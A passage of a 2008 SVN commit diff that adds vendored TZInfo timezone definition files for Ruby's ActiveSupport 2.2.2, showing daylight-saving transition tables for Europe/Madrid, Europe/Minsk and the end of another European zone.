+          tz.transition 1931, 10, :o1, 29119423, 12
+          tz.transition 1932, 4, :o2, 29121775, 12
+          tz.transition 1932, 10, :o1, 29123791, 12
+          tz.transition 1933, 4, :o2, 29126059, 12
+          tz.transition 1933, 10, :o1, 29128243, 12
+          tz.transition 1934, 4, :o2, 29130595, 12
+          tz.transition 1934, 10, :o1, 29132611, 12
+          tz.transition 1935, 4, :o2, 29134879, 12
+          tz.transition 1935, 10, :o1, 29136979, 12
+          tz.transition 1936, 4, :o2, 29139331, 12
+          tz.transition 1936, 10, :o1, 29141347, 12
+          tz.transition 1937, 4, :o2, 29143699, 12
+          tz.transition 1937, 10, :o1, 29145715, 12
+          tz.transition 1938, 4, :o2, 29147983, 12
+          tz.transition 1938, 10, :o1, 29150083, 12
+          tz.transition 1939, 4, :o2, 29152435, 12
+          tz.transition 1939, 11, :o1, 29155039, 12
+          tz.transition 1940, 2, :o2, 29156215, 12
+          tz.transition 1941, 5, :o3, 58322845, 24
+          tz.transition 1941, 8, :o2, 58325197, 24
+          tz.transition 1942, 4, :o3, 58330909, 24
+          tz.transition 1942, 8, :o2, 58333933, 24
+          tz.transition 1943, 4, :o3, 58339645, 24
+          tz.transition 1943, 8, :o2, 58342837, 24
+          tz.transition 1944, 4, :o3, 58348381, 24
+          tz.transition 1944, 9, :o2, 58352413, 24
+          tz.transition 1945, 4, :o3, 58357141, 24
+          tz.transition 1945, 7, :o2, 58359637, 24
+          tz.transition 1945, 10, :o1, 29180827, 12
+          tz.transition 1946, 4, :o2, 29183095, 12
+          tz.transition 1946, 10, :o1, 29185195, 12
+          tz.transition 1947, 3, :o2, 29187127, 12
+          tz.transition 1947, 4, :o3, 58374925, 24
+          tz.transition 1947, 8, :o2, 58377781, 24
+          tz.transition 1947, 11, :o1, 29189899, 12
+          tz.transition 1948, 3, :o2, 29191495, 12
+          tz.transition 1948, 10, :o1, 29194267, 12
+          tz.transition 1949, 4, :o2, 29196115, 12
+          tz.transition 1949, 10, :o1, 29198635, 12
+          tz.transition 1950, 4, :o2, 29200651, 12
+          tz.transition 1950, 10, :o1, 29202919, 12
+          tz.transition 1951, 4, :o2, 29205019, 12
+          tz.transition 1951, 10, :o1, 29207287, 12
+          tz.transition 1952, 4, :o2, 29209471, 12
+          tz.transition 1952, 10, :o1, 29211739, 12
+          tz.transition 1953, 4, :o2, 29213839, 12
+          tz.transition 1953, 10, :o1, 29215855, 12
+          tz.transition 1954, 4, :o2, 29218123, 12
+          tz.transition 1954, 10, :o1, 29220223, 12
+          tz.transition 1955, 4, :o2, 29222575, 12
+          tz.transition 1955, 10, :o1, 29224591, 12
+          tz.transition 1956, 4, :o2, 29227027, 12
+          tz.transition 1956, 10, :o1, 29229043, 12
+          tz.transition 1957, 4, :o2, 29231311, 12
+          tz.transition 1957, 10, :o1, 29233411, 12
+          tz.transition 1958, 4, :o2, 29235763, 12
+          tz.transition 1958, 10, :o1, 29237779, 12
+          tz.transition 1959, 4, :o2, 29240131, 12
+          tz.transition 1959, 10, :o1, 29242147, 12
+          tz.transition 1960, 4, :o2, 29244415, 12
+          tz.transition 1960, 10, :o1, 29246515, 12
+          tz.transition 1961, 3, :o2, 29248615, 12
+          tz.transition 1961, 10, :o1, 29251219, 12
+          tz.transition 1962, 3, :o2, 29252983, 12
+          tz.transition 1962, 10, :o1, 29255587, 12
+          tz.transition 1963, 3, :o2, 29257435, 12
+          tz.transition 1963, 10, :o1, 29259955, 12
+          tz.transition 1964, 3, :o2, 29261719, 12
+          tz.transition 1964, 10, :o1, 29264323, 12
+          tz.transition 1965, 3, :o2, 29266087, 12
+          tz.transition 1965, 10, :o1, 29268691, 12
+          tz.transition 1966, 3, :o2, 29270455, 12
+          tz.transition 1966, 10, :o1, 29273059, 12
+          tz.transition 1967, 3, :o2, 29274823, 12
+          tz.transition 1967, 10, :o1, 29277511, 12
+          tz.transition 1968, 2, :o2, 29278855, 12
+          tz.transition 1968, 10, :o4, 58563755, 24
+          tz.transition 1971, 10, :o1, 57722400
+          tz.transition 1972, 3, :o2, 69818400
+          tz.transition 1972, 10, :o1, 89172000
+          tz.transition 1973, 3, :o2, 101268000
+          tz.transition 1973, 10, :o1, 120621600
+          tz.transition 1974, 3, :o2, 132717600
+          tz.transition 1974, 10, :o1, 152071200
+          tz.transition 1975, 3, :o2, 164167200
+          tz.transition 1975, 10, :o1, 183520800
+          tz.transition 1976, 3, :o2, 196221600
+          tz.transition 1976, 10, :o1, 214970400
+          tz.transition 1977, 3, :o2, 227671200
+          tz.transition 1977, 10, :o1, 246420000
+          tz.transition 1978, 3, :o2, 259120800
+          tz.transition 1978, 10, :o1, 278474400
+          tz.transition 1979, 3, :o2, 290570400
+          tz.transition 1979, 10, :o1, 309924000
+          tz.transition 1980, 3, :o2, 322020000
+          tz.transition 1980, 10, :o1, 341373600
+          tz.transition 1981, 3, :o2, 354675600
+          tz.transition 1981, 10, :o1, 372819600
+          tz.transition 1982, 3, :o2, 386125200
+          tz.transition 1982, 10, :o1, 404269200
+          tz.transition 1983, 3, :o2, 417574800
+          tz.transition 1983, 10, :o1, 435718800
+          tz.transition 1984, 3, :o2, 449024400
+          tz.transition 1984, 10, :o1, 467773200
+          tz.transition 1985, 3, :o2, 481078800
+          tz.transition 1985, 10, :o1, 499222800
+          tz.transition 1986, 3, :o2, 512528400
+          tz.transition 1986, 10, :o1, 530672400
+          tz.transition 1987, 3, :o2, 543978000
+          tz.transition 1987, 10, :o1, 562122000
+          tz.transition 1988, 3, :o2, 575427600
+          tz.transition 1988, 10, :o1, 593571600
+          tz.transition 1989, 3, :o2, 606877200
+          tz.transition 1989, 10, :o1, 625626000
+          tz.transition 1990, 3, :o2, 638326800
+          tz.transition 1990, 10, :o1, 657075600
+          tz.transition 1991, 3, :o2, 670381200
+          tz.transition 1991, 10, :o1, 688525200
+          tz.transition 1992, 3, :o2, 701830800
+          tz.transition 1992, 10, :o1, 719974800
+          tz.transition 1993, 3, :o2, 733280400
+          tz.transition 1993, 10, :o1, 751424400
+          tz.transition 1994, 3, :o2, 764730000
+          tz.transition 1994, 10, :o1, 782874000
+          tz.transition 1995, 3, :o2, 796179600
+          tz.transition 1995, 10, :o1, 814323600
+          tz.transition 1996, 3, :o2, 828234000
+          tz.transition 1996, 10, :o1, 846378000
+          tz.transition 1997, 3, :o2, 859683600
+          tz.transition 1997, 10, :o1, 877827600
+          tz.transition 1998, 3, :o2, 891133200
+          tz.transition 1998, 10, :o1, 909277200
+          tz.transition 1999, 3, :o2, 922582800
+          tz.transition 1999, 10, :o1, 941331600
+          tz.transition 2000, 3, :o2, 954032400
+          tz.transition 2000, 10, :o1, 972781200
+          tz.transition 2001, 3, :o2, 985482000
+          tz.transition 2001, 10, :o1, 1004230800
+          tz.transition 2002, 3, :o2, 1017536400
+          tz.transition 2002, 10, :o1, 1035680400
+          tz.transition 2003, 3, :o2, 1048986000
+          tz.transition 2003, 10, :o1, 1067130000
+          tz.transition 2004, 3, :o2, 1080435600
+          tz.transition 2004, 10, :o1, 1099184400
+          tz.transition 2005, 3, :o2, 1111885200
+          tz.transition 2005, 10, :o1, 1130634000
+          tz.transition 2006, 3, :o2, 1143334800
+          tz.transition 2006, 10, :o1, 1162083600
+          tz.transition 2007, 3, :o2, 1174784400
+          tz.transition 2007, 10, :o1, 1193533200
+          tz.transition 2008, 3, :o2, 1206838800
+          tz.transition 2008, 10, :o1, 1224982800
+          tz.transition 2009, 3, :o2, 1238288400
+          tz.transition 2009, 10, :o1, 1256432400
+          tz.transition 2010, 3, :o2, 1269738000
+          tz.transition 2010, 10, :o1, 1288486800
+          tz.transition 2011, 3, :o2, 1301187600
+          tz.transition 2011, 10, :o1, 1319936400
+          tz.transition 2012, 3, :o2, 1332637200
+          tz.transition 2012, 10, :o1, 1351386000
+          tz.transition 2013, 3, :o2, 1364691600
+          tz.transition 2013, 10, :o1, 1382835600
+          tz.transition 2014, 3, :o2, 1396141200
+          tz.transition 2014, 10, :o1, 1414285200
+          tz.transition 2015, 3, :o2, 1427590800
+          tz.transition 2015, 10, :o1, 1445734800
+          tz.transition 2016, 3, :o2, 1459040400
+          tz.transition 2016, 10, :o1, 1477789200
+          tz.transition 2017, 3, :o2, 1490490000
+          tz.transition 2017, 10, :o1, 1509238800
+          tz.transition 2018, 3, :o2, 1521939600
+          tz.transition 2018, 10, :o1, 1540688400
+          tz.transition 2019, 3, :o2, 1553994000
+          tz.transition 2019, 10, :o1, 1572138000
+          tz.transition 2020, 3, :o2, 1585443600
+          tz.transition 2020, 10, :o1, 1603587600
+          tz.transition 2021, 3, :o2, 1616893200
+          tz.transition 2021, 10, :o1, 1635642000
+          tz.transition 2022, 3, :o2, 1648342800
+          tz.transition 2022, 10, :o1, 1667091600
+          tz.transition 2023, 3, :o2, 1679792400
+          tz.transition 2023, 10, :o1, 1698541200
+          tz.transition 2024, 3, :o2, 1711846800
+          tz.transition 2024, 10, :o1, 1729990800
+          tz.transition 2025, 3, :o2, 1743296400
+          tz.transition 2025, 10, :o1, 1761440400
+          tz.transition 2026, 3, :o2, 1774746000
+          tz.transition 2026, 10, :o1, 1792890000
+          tz.transition 2027, 3, :o2, 1806195600
+          tz.transition 2027, 10, :o1, 1824944400
+          tz.transition 2028, 3, :o2, 1837645200
+          tz.transition 2028, 10, :o1, 1856394000
+          tz.transition 2029, 3, :o2, 1869094800
+          tz.transition 2029, 10, :o1, 1887843600
+          tz.transition 2030, 3, :o2, 1901149200
+          tz.transition 2030, 10, :o1, 1919293200
+          tz.transition 2031, 3, :o2, 1932598800
+          tz.transition 2031, 10, :o1, 1950742800
+          tz.transition 2032, 3, :o2, 1964048400
+          tz.transition 2032, 10, :o1, 1982797200
+          tz.transition 2033, 3, :o2, 1995498000
+          tz.transition 2033, 10, :o1, 2014246800
+          tz.transition 2034, 3, :o2, 2026947600
+          tz.transition 2034, 10, :o1, 2045696400
+          tz.transition 2035, 3, :o2, 2058397200
+          tz.transition 2035, 10, :o1, 2077146000
+          tz.transition 2036, 3, :o2, 2090451600
+          tz.transition 2036, 10, :o1, 2108595600
+          tz.transition 2037, 3, :o2, 2121901200
+          tz.transition 2037, 10, :o1, 2140045200
+          tz.transition 2038, 3, :o2, 59172253, 24
+          tz.transition 2038, 10, :o1, 59177461, 24
+          tz.transition 2039, 3, :o2, 59180989, 24
+          tz.transition 2039, 10, :o1, 59186197, 24
+          tz.transition 2040, 3, :o2, 59189725, 24
+          tz.transition 2040, 10, :o1, 59194933, 24
+          tz.transition 2041, 3, :o2, 59198629, 24
+          tz.transition 2041, 10, :o1, 59203669, 24
+          tz.transition 2042, 3, :o2, 59207365, 24
+          tz.transition 2042, 10, :o1, 59212405, 24
+          tz.transition 2043, 3, :o2, 59216101, 24
+          tz.transition 2043, 10, :o1, 59221141, 24
+          tz.transition 2044, 3, :o2, 59224837, 24
+          tz.transition 2044, 10, :o1, 59230045, 24
+          tz.transition 2045, 3, :o2, 59233573, 24
+          tz.transition 2045, 10, :o1, 59238781, 24
+          tz.transition 2046, 3, :o2, 59242309, 24
+          tz.transition 2046, 10, :o1, 59247517, 24
+          tz.transition 2047, 3, :o2, 59251213, 24
+          tz.transition 2047, 10, :o1, 59256253, 24
+          tz.transition 2048, 3, :o2, 59259949, 24
+          tz.transition 2048, 10, :o1, 59264989, 24
+          tz.transition 2049, 3, :o2, 59268685, 24
+          tz.transition 2049, 10, :o1, 59273893, 24
+          tz.transition 2050, 3, :o2, 59277421, 24
+          tz.transition 2050, 10, :o1, 59282629, 24
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Madrid.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Madrid.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Madrid.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,211 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Europe
+      module Madrid
+        include TimezoneDefinition
+        
+        timezone 'Europe/Madrid' do |tz|
+          tz.offset :o0, -884, 0, :LMT
+          tz.offset :o1, 0, 0, :WET
+          tz.offset :o2, 0, 3600, :WEST
+          tz.offset :o3, 0, 7200, :WEMT
+          tz.offset :o4, 3600, 0, :CET
+          tz.offset :o5, 3600, 3600, :CEST
+          
+          tz.transition 1901, 1, :o1, 52172327021, 21600
+          tz.transition 1917, 5, :o2, 58112507, 24
+          tz.transition 1917, 10, :o1, 58116203, 24
+          tz.transition 1918, 4, :o2, 58120787, 24
+          tz.transition 1918, 10, :o1, 58124963, 24
+          tz.transition 1919, 4, :o2, 58129307, 24
+          tz.transition 1919, 10, :o1, 58133723, 24
+          tz.transition 1924, 4, :o2, 58173419, 24
+          tz.transition 1924, 10, :o1, 58177523, 24
+          tz.transition 1926, 4, :o2, 58190963, 24
+          tz.transition 1926, 10, :o1, 58194995, 24
+          tz.transition 1927, 4, :o2, 58199531, 24
+          tz.transition 1927, 10, :o1, 58203731, 24
+          tz.transition 1928, 4, :o2, 58208435, 24
+          tz.transition 1928, 10, :o1, 58212635, 24
+          tz.transition 1929, 4, :o2, 58217339, 24
+          tz.transition 1929, 10, :o1, 58221371, 24
+          tz.transition 1937, 5, :o2, 58288235, 24
+          tz.transition 1937, 10, :o1, 58291427, 24
+          tz.transition 1938, 3, :o2, 58295531, 24
+          tz.transition 1938, 10, :o1, 58300163, 24
+          tz.transition 1939, 4, :o2, 58304867, 24
+          tz.transition 1939, 10, :o1, 58309067, 24
+          tz.transition 1940, 3, :o2, 58312931, 24
+          tz.transition 1942, 5, :o3, 29165789, 12
+          tz.transition 1942, 9, :o2, 29167253, 12
+          tz.transition 1943, 4, :o3, 29169989, 12
+          tz.transition 1943, 10, :o2, 29172017, 12
+          tz.transition 1944, 4, :o3, 29174357, 12
+          tz.transition 1944, 10, :o2, 29176493, 12
+          tz.transition 1945, 4, :o3, 29178725, 12
+          tz.transition 1945, 9, :o2, 58361483, 24
+          tz.transition 1946, 4, :o3, 29183093, 12
+          tz.transition 1946, 9, :o4, 29185121, 12
+          tz.transition 1949, 4, :o5, 29196449, 12
+          tz.transition 1949, 9, :o4, 58396547, 24
+          tz.transition 1974, 4, :o5, 135122400
+          tz.transition 1974, 10, :o4, 150246000
+          tz.transition 1975, 4, :o5, 167176800
+          tz.transition 1975, 10, :o4, 181695600
+          tz.transition 1976, 3, :o5, 196812000
+          tz.transition 1976, 9, :o4, 212540400
+          tz.transition 1977, 4, :o5, 228866400
+          tz.transition 1977, 9, :o4, 243990000
+          tz.transition 1978, 4, :o5, 260402400
+          tz.transition 1978, 9, :o4, 276044400
+          tz.transition 1979, 4, :o5, 291776400
+          tz.transition 1979, 9, :o4, 307501200
+          tz.transition 1980, 4, :o5, 323830800
+          tz.transition 1980, 9, :o4, 338950800
+          tz.transition 1981, 3, :o5, 354675600
+          tz.transition 1981, 9, :o4, 370400400
+          tz.transition 1982, 3, :o5, 386125200
+          tz.transition 1982, 9, :o4, 401850000
+          tz.transition 1983, 3, :o5, 417574800
+          tz.transition 1983, 9, :o4, 433299600
+          tz.transition 1984, 3, :o5, 449024400
+          tz.transition 1984, 9, :o4, 465354000
+          tz.transition 1985, 3, :o5, 481078800
+          tz.transition 1985, 9, :o4, 496803600
+          tz.transition 1986, 3, :o5, 512528400
+          tz.transition 1986, 9, :o4, 528253200
+          tz.transition 1987, 3, :o5, 543978000
+          tz.transition 1987, 9, :o4, 559702800
+          tz.transition 1988, 3, :o5, 575427600
+          tz.transition 1988, 9, :o4, 591152400
+          tz.transition 1989, 3, :o5, 606877200
+          tz.transition 1989, 9, :o4, 622602000
+          tz.transition 1990, 3, :o5, 638326800
+          tz.transition 1990, 9, :o4, 654656400
+          tz.transition 1991, 3, :o5, 670381200
+          tz.transition 1991, 9, :o4, 686106000
+          tz.transition 1992, 3, :o5, 701830800
+          tz.transition 1992, 9, :o4, 717555600
+          tz.transition 1993, 3, :o5, 733280400
+          tz.transition 1993, 9, :o4, 749005200
+          tz.transition 1994, 3, :o5, 764730000
+          tz.transition 1994, 9, :o4, 780454800
+          tz.transition 1995, 3, :o5, 796179600
+          tz.transition 1995, 9, :o4, 811904400
+          tz.transition 1996, 3, :o5, 828234000
+          tz.transition 1996, 10, :o4, 846378000
+          tz.transition 1997, 3, :o5, 859683600
+          tz.transition 1997, 10, :o4, 877827600
+          tz.transition 1998, 3, :o5, 891133200
+          tz.transition 1998, 10, :o4, 909277200
+          tz.transition 1999, 3, :o5, 922582800
+          tz.transition 1999, 10, :o4, 941331600
+          tz.transition 2000, 3, :o5, 954032400
+          tz.transition 2000, 10, :o4, 972781200
+          tz.transition 2001, 3, :o5, 985482000
+          tz.transition 2001, 10, :o4, 1004230800
+          tz.transition 2002, 3, :o5, 1017536400
+          tz.transition 2002, 10, :o4, 1035680400
+          tz.transition 2003, 3, :o5, 1048986000
+          tz.transition 2003, 10, :o4, 1067130000
+          tz.transition 2004, 3, :o5, 1080435600
+          tz.transition 2004, 10, :o4, 1099184400
+          tz.transition 2005, 3, :o5, 1111885200
+          tz.transition 2005, 10, :o4, 1130634000
+          tz.transition 2006, 3, :o5, 1143334800
+          tz.transition 2006, 10, :o4, 1162083600
+          tz.transition 2007, 3, :o5, 1174784400
+          tz.transition 2007, 10, :o4, 1193533200
+          tz.transition 2008, 3, :o5, 1206838800
+          tz.transition 2008, 10, :o4, 1224982800
+          tz.transition 2009, 3, :o5, 1238288400
+          tz.transition 2009, 10, :o4, 1256432400
+          tz.transition 2010, 3, :o5, 1269738000
+          tz.transition 2010, 10, :o4, 1288486800
+          tz.transition 2011, 3, :o5, 1301187600
+          tz.transition 2011, 10, :o4, 1319936400
+          tz.transition 2012, 3, :o5, 1332637200
+          tz.transition 2012, 10, :o4, 1351386000
+          tz.transition 2013, 3, :o5, 1364691600
+          tz.transition 2013, 10, :o4, 1382835600
+          tz.transition 2014, 3, :o5, 1396141200
+          tz.transition 2014, 10, :o4, 1414285200
+          tz.transition 2015, 3, :o5, 1427590800
+          tz.transition 2015, 10, :o4, 1445734800
+          tz.transition 2016, 3, :o5, 1459040400
+          tz.transition 2016, 10, :o4, 1477789200
+          tz.transition 2017, 3, :o5, 1490490000
+          tz.transition 2017, 10, :o4, 1509238800
+          tz.transition 2018, 3, :o5, 1521939600
+          tz.transition 2018, 10, :o4, 1540688400
+          tz.transition 2019, 3, :o5, 1553994000
+          tz.transition 2019, 10, :o4, 1572138000
+          tz.transition 2020, 3, :o5, 1585443600
+          tz.transition 2020, 10, :o4, 1603587600
+          tz.transition 2021, 3, :o5, 1616893200
+          tz.transition 2021, 10, :o4, 1635642000
+          tz.transition 2022, 3, :o5, 1648342800
+          tz.transition 2022, 10, :o4, 1667091600
+          tz.transition 2023, 3, :o5, 1679792400
+          tz.transition 2023, 10, :o4, 1698541200
+          tz.transition 2024, 3, :o5, 1711846800
+          tz.transition 2024, 10, :o4, 1729990800
+          tz.transition 2025, 3, :o5, 1743296400
+          tz.transition 2025, 10, :o4, 1761440400
+          tz.transition 2026, 3, :o5, 1774746000
+          tz.transition 2026, 10, :o4, 1792890000
+          tz.transition 2027, 3, :o5, 1806195600
+          tz.transition 2027, 10, :o4, 1824944400
+          tz.transition 2028, 3, :o5, 1837645200
+          tz.transition 2028, 10, :o4, 1856394000
+          tz.transition 2029, 3, :o5, 1869094800
+          tz.transition 2029, 10, :o4, 1887843600
+          tz.transition 2030, 3, :o5, 1901149200
+          tz.transition 2030, 10, :o4, 1919293200
+          tz.transition 2031, 3, :o5, 1932598800
+          tz.transition 2031, 10, :o4, 1950742800
+          tz.transition 2032, 3, :o5, 1964048400
+          tz.transition 2032, 10, :o4, 1982797200
+          tz.transition 2033, 3, :o5, 1995498000
+          tz.transition 2033, 10, :o4, 2014246800
+          tz.transition 2034, 3, :o5, 2026947600
+          tz.transition 2034, 10, :o4, 2045696400
+          tz.transition 2035, 3, :o5, 2058397200
+          tz.transition 2035, 10, :o4, 2077146000
+          tz.transition 2036, 3, :o5, 2090451600
+          tz.transition 2036, 10, :o4, 2108595600
+          tz.transition 2037, 3, :o5, 2121901200
+          tz.transition 2037, 10, :o4, 2140045200
+          tz.transition 2038, 3, :o5, 59172253, 24
+          tz.transition 2038, 10, :o4, 59177461, 24
+          tz.transition 2039, 3, :o5, 59180989, 24
+          tz.transition 2039, 10, :o4, 59186197, 24
+          tz.transition 2040, 3, :o5, 59189725, 24
+          tz.transition 2040, 10, :o4, 59194933, 24
+          tz.transition 2041, 3, :o5, 59198629, 24
+          tz.transition 2041, 10, :o4, 59203669, 24
+          tz.transition 2042, 3, :o5, 59207365, 24
+          tz.transition 2042, 10, :o4, 59212405, 24
+          tz.transition 2043, 3, :o5, 59216101, 24
+          tz.transition 2043, 10, :o4, 59221141, 24
+          tz.transition 2044, 3, :o5, 59224837, 24
+          tz.transition 2044, 10, :o4, 59230045, 24
+          tz.transition 2045, 3, :o5, 59233573, 24
+          tz.transition 2045, 10, :o4, 59238781, 24
+          tz.transition 2046, 3, :o5, 59242309, 24
+          tz.transition 2046, 10, :o4, 59247517, 24
+          tz.transition 2047, 3, :o5, 59251213, 24
+          tz.transition 2047, 10, :o4, 59256253, 24
+          tz.transition 2048, 3, :o5, 59259949, 24
+          tz.transition 2048, 10, :o4, 59264989, 24
+          tz.transition 2049, 3, :o5, 59268685, 24
+          tz.transition 2049, 10, :o4, 59273893, 24
+          tz.transition 2050, 3, :o5, 59277421, 24
+          tz.transition 2050, 10, :o4, 59282629, 24
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Minsk.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Minsk.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Minsk.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,170 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Europe
+      module Minsk
+        include TimezoneDefinition
+        
+        timezone 'Europe/Minsk' do |tz|
+          tz.offset :o0, 6616, 0, :LMT
+          tz.offset :o1, 6600, 0, :MMT
+          tz.offset :o2, 7200, 0, :EET
+          tz.offset :o3, 10800, 0, :MSK
+          tz.offset :o4, 3600, 3600, :CEST
+          tz.offset :o5, 3600, 0, :CET
+          tz.offset :o6, 10800, 3600, :MSD
+          tz.offset :o7, 7200, 3600, :EEST
+          
+          tz.transition 1879, 12, :o1, 26003326573, 10800
+          tz.transition 1924, 5, :o2, 349042669, 144
+          tz.transition 1930, 6, :o3, 29113781, 12
+          tz.transition 1941, 6, :o4, 19441387, 8
+          tz.transition 1942, 11, :o5, 58335973, 24
+          tz.transition 1943, 3, :o4, 58339501, 24
+          tz.transition 1943, 10, :o5, 58344037, 24
+          tz.transition 1944, 4, :o4, 58348405, 24
+          tz.transition 1944, 7, :o3, 29175293, 12
+          tz.transition 1981, 3, :o6, 354920400
+          tz.transition 1981, 9, :o3, 370728000
+          tz.transition 1982, 3, :o6, 386456400
+          tz.transition 1982, 9, :o3, 402264000
+          tz.transition 1983, 3, :o6, 417992400
+          tz.transition 1983, 9, :o3, 433800000
+          tz.transition 1984, 3, :o6, 449614800
+          tz.transition 1984, 9, :o3, 465346800
+          tz.transition 1985, 3, :o6, 481071600
+          tz.transition 1985, 9, :o3, 496796400
+          tz.transition 1986, 3, :o6, 512521200
+          tz.transition 1986, 9, :o3, 528246000
+          tz.transition 1987, 3, :o6, 543970800
+          tz.transition 1987, 9, :o3, 559695600
+          tz.transition 1988, 3, :o6, 575420400
+          tz.transition 1988, 9, :o3, 591145200
+          tz.transition 1989, 3, :o6, 606870000
+          tz.transition 1989, 9, :o3, 622594800
+          tz.transition 1991, 3, :o7, 670374000
+          tz.transition 1991, 9, :o2, 686102400
+          tz.transition 1992, 3, :o7, 701820000
+          tz.transition 1992, 9, :o2, 717544800
+          tz.transition 1993, 3, :o7, 733276800
+          tz.transition 1993, 9, :o2, 749001600
+          tz.transition 1994, 3, :o7, 764726400
+          tz.transition 1994, 9, :o2, 780451200
+          tz.transition 1995, 3, :o7, 796176000
+          tz.transition 1995, 9, :o2, 811900800
+          tz.transition 1996, 3, :o7, 828230400
+          tz.transition 1996, 10, :o2, 846374400
+          tz.transition 1997, 3, :o7, 859680000
+          tz.transition 1997, 10, :o2, 877824000
+          tz.transition 1998, 3, :o7, 891129600
+          tz.transition 1998, 10, :o2, 909273600
+          tz.transition 1999, 3, :o7, 922579200
+          tz.transition 1999, 10, :o2, 941328000
+          tz.transition 2000, 3, :o7, 954028800
+          tz.transition 2000, 10, :o2, 972777600
+          tz.transition 2001, 3, :o7, 985478400
+          tz.transition 2001, 10, :o2, 1004227200
+          tz.transition 2002, 3, :o7, 1017532800
+          tz.transition 2002, 10, :o2, 1035676800
+          tz.transition 2003, 3, :o7, 1048982400
+          tz.transition 2003, 10, :o2, 1067126400
+          tz.transition 2004, 3, :o7, 1080432000
+          tz.transition 2004, 10, :o2, 1099180800
+          tz.transition 2005, 3, :o7, 1111881600
+          tz.transition 2005, 10, :o2, 1130630400
+          tz.transition 2006, 3, :o7, 1143331200
+          tz.transition 2006, 10, :o2, 1162080000
+          tz.transition 2007, 3, :o7, 1174780800
+          tz.transition 2007, 10, :o2, 1193529600
+          tz.transition 2008, 3, :o7, 1206835200
+          tz.transition 2008, 10, :o2, 1224979200
+          tz.transition 2009, 3, :o7, 1238284800
+          tz.transition 2009, 10, :o2, 1256428800
+          tz.transition 2010, 3, :o7, 1269734400
+          tz.transition 2010, 10, :o2, 1288483200
+          tz.transition 2011, 3, :o7, 1301184000
+          tz.transition 2011, 10, :o2, 1319932800
+          tz.transition 2012, 3, :o7, 1332633600
+          tz.transition 2012, 10, :o2, 1351382400
+          tz.transition 2013, 3, :o7, 1364688000
+          tz.transition 2013, 10, :o2, 1382832000
+          tz.transition 2014, 3, :o7, 1396137600
+          tz.transition 2014, 10, :o2, 1414281600
+          tz.transition 2015, 3, :o7, 1427587200
+          tz.transition 2015, 10, :o2, 1445731200
+          tz.transition 2016, 3, :o7, 1459036800
+          tz.transition 2016, 10, :o2, 1477785600
+          tz.transition 2017, 3, :o7, 1490486400
+          tz.transition 2017, 10, :o2, 1509235200
+          tz.transition 2018, 3, :o7, 1521936000
+          tz.transition 2018, 10, :o2, 1540684800
+          tz.transition 2019, 3, :o7, 1553990400
+          tz.transition 2019, 10, :o2, 1572134400
+          tz.transition 2020, 3, :o7, 1585440000
+          tz.transition 2020, 10, :o2, 1603584000
+          tz.transition 2021, 3, :o7, 1616889600
+          tz.transition 2021, 10, :o2, 1635638400
+          tz.transition 2022, 3, :o7, 1648339200
+          tz.transition 2022, 10, :o2, 1667088000
+          tz.transition 2023, 3, :o7, 1679788800
+          tz.transition 2023, 10, :o2, 1698537600
+          tz.transition 2024, 3, :o7, 1711843200
+          tz.transition 2024, 10, :o2, 1729987200
+          tz.transition 2025, 3, :o7, 1743292800
+          tz.transition 2025, 10, :o2, 1761436800
+          tz.transition 2026, 3, :o7, 1774742400
+          tz.transition 2026, 10, :o2, 1792886400
+          tz.transition 2027, 3, :o7, 1806192000
+          tz.transition 2027, 10, :o2, 1824940800
+          tz.transition 2028, 3, :o7, 1837641600
+          tz.transition 2028, 10, :o2, 1856390400
+          tz.transition 2029, 3, :o7, 1869091200
+          tz.transition 2029, 10, :o2, 1887840000
+          tz.transition 2030, 3, :o7, 1901145600
+          tz.transition 2030, 10, :o2, 1919289600
+          tz.transition 2031, 3, :o7, 1932595200
+          tz.transition 2031, 10, :o2, 1950739200
+          tz.transition 2032, 3, :o7, 1964044800
+          tz.transition 2032, 10, :o2, 1982793600
+          tz.transition 2033, 3, :o7, 1995494400
+          tz.transition 2033, 10, :o2, 2014243200
+          tz.transition 2034, 3, :o7, 2026944000
+          tz.transition 2034, 10, :o2, 2045692800
+          tz.transition 2035, 3, :o7, 2058393600
+          tz.transition 2035, 10, :o2, 2077142400
+          tz.transition 2036, 3, :o7, 2090448000
+          tz.transition 2036, 10, :o2, 2108592000
+          tz.transition 2037, 3, :o7, 2121897600
+          tz.transition 2037, 10, :o2, 2140041600
+          tz.transition 2038, 3, :o7, 4931021, 2
+          tz.transition 2038, 10, :o2, 4931455, 2
+          tz.transition 2039, 3, :o7, 4931749, 2
+          tz.transition 2039, 10, :o2, 4932183, 2
+          tz.transition 2040, 3, :o7, 4932477, 2
+          tz.transition 2040, 10, :o2, 4932911, 2
+          tz.transition 2041, 3, :o7, 4933219, 2
+          tz.transition 2041, 10, :o2, 4933639, 2
+          tz.transition 2042, 3, :o7, 4933947, 2
+          tz.transition 2042, 10, :o2, 4934367, 2
+          tz.transition 2043, 3, :o7, 4934675, 2
+          tz.transition 2043, 10, :o2, 4935095, 2
+          tz.transition 2044, 3, :o7, 4935403, 2
+          tz.transition 2044, 10, :o2, 4935837, 2
+          tz.transition 2045, 3, :o7, 4936131, 2
+          tz.transition 2045, 10, :o2, 4936565, 2
+          tz.transition 2046, 3, :o7, 4936859, 2
+          tz.transition 2046, 10, :o2, 4937293, 2
